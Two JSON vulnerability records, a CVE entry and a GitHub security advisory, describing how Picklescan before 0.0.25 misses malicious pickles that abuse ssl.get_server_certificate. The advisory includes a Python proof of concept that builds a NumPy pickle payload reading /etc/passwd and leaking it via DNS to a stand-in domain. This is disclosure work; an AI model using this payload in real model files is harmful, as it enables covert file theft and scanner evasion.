{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-46417",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-04-24T14:50:58.816506Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-04-24T14:51:19.232Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/advisories/GHSA-93mv-x874-956g"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Picklescan",
          "vendor": "Picklescan",
          "versions": [
            {
              "lessThan": "0.0.25",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The unsafe globals in Picklescan before 0.0.25 do not include ssl. Consequently, ssl.get_server_certificate can exfiltrate data via DNS after deserialization."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "baseScore": 6.8,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-184",
              "description": "CWE-184 Incomplete List of Disallowed Inputs",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-04-24T00:27:33.032Z",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "url": "https://github.com/advisories/GHSA-93mv-x874-956g"
        },
        {
          "url": "https://github.com/mmaitre314/picklescan/pull/40"
        }
      ],
      "x_generator": {
        "engine": "enrichogram 0.0.1"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2025-46417",
    "datePublished": "2025-04-24T00:00:00.000Z",
    "dateReserved": "2025-04-24T00:00:00.000Z",
    "dateUpdated": "2025-04-24T14:51:19.232Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-46417"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-07T18:52:47Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nPicklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization.\n\n\n### Details\n\npicklescan\u2019s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging `ssl.get_server_certificate` as the callable function in the pickle payload. Since `ssl` is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors.\n\nThe payload avoids flagged modules and instead uses `linecache` (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN.  When passed to `ssl.get_server_certificate`, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content.\n\nThe payload executes the following steps:\n\n- Reads sensitive local file content using `linecache` module\n- Encodes the data for DNS exfiltration\n- Constructs a malicious domain name using a third party service `dnslog.cn` \n- Triggers a DNS resolution via `ssl.get_server_certificate`\n- Leaks the encoded file content to the attacker\n\n### PoC\n\nBefore running the PoC change the `fqdn` to your own or a third party that you control. In this PoC we used ` fqdn = f\"{subdomain}.ctmc2q.dnslog.cn\"`.\n\n```python\n\nimport numpy as np\n\ndef create_malicious_model():\n# Define the payload class\n    class DNSLogPayload:\n        def __reduce__(self):\n            # Step 1: read a line from /etc/passwd\n            linecache = __import__(\"linecache\")\n            first_line = linecache.getline(\"/etc/passwd\", 1).strip()\n\n            # Step 2: Sanitize and embed it as a DNS subdomain\n            subdomain = first_line.replace(\":\", \"_\").replace(\"/\", \"_\")\n            fqdn = f\"{subdomain}.dns-logger.invalid\"\n\n            # Step 3: Use ssl.get_server_certificate to trigger DNS resolution\n            ssl_mod = __import__(\"ssl\")\n            return (getattr(ssl_mod, \"get_server_certificate\"), ((fqdn, 443),))\n\n    # Wrap the payload in a NumPy object array\n    arr = np.array([DNSLogPayload()], dtype=object)\n\n    # Save to .npy file\n    np.save(\"dnslog_trigger_payload.npy\", arr, allow_pickle=True)   \n\ndef load_model(model):\n    try:\n        return np.load(model, encoding=\"latin1\", fix_imports=True, allow_pickle=1)\n    except Exception:\n        raise ValueError(\"Invalid file\")\n\nif __name__ == \"__main__\":\n    create_malicious_model()\n    model = \"dnslog_trigger_payload.npy\"\n    print(\"[i] Loading and executing the model\")\n    data = load_model(model)\n \n```\n\n### Impact\n\n1. Evade detection: Bypasses the latest version of picklescan\u0027s blacklist. \n2. Exfiltrate sensitive local files to an attacker controlled DNS",
  "id": "GHSA-93mv-x874-956g",
  "modified": "2025-04-24T16:02:36Z",
  "published": "2025-04-07T18:52:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-93mv-x874-956g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46417"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/pull/40"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-34.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate"
}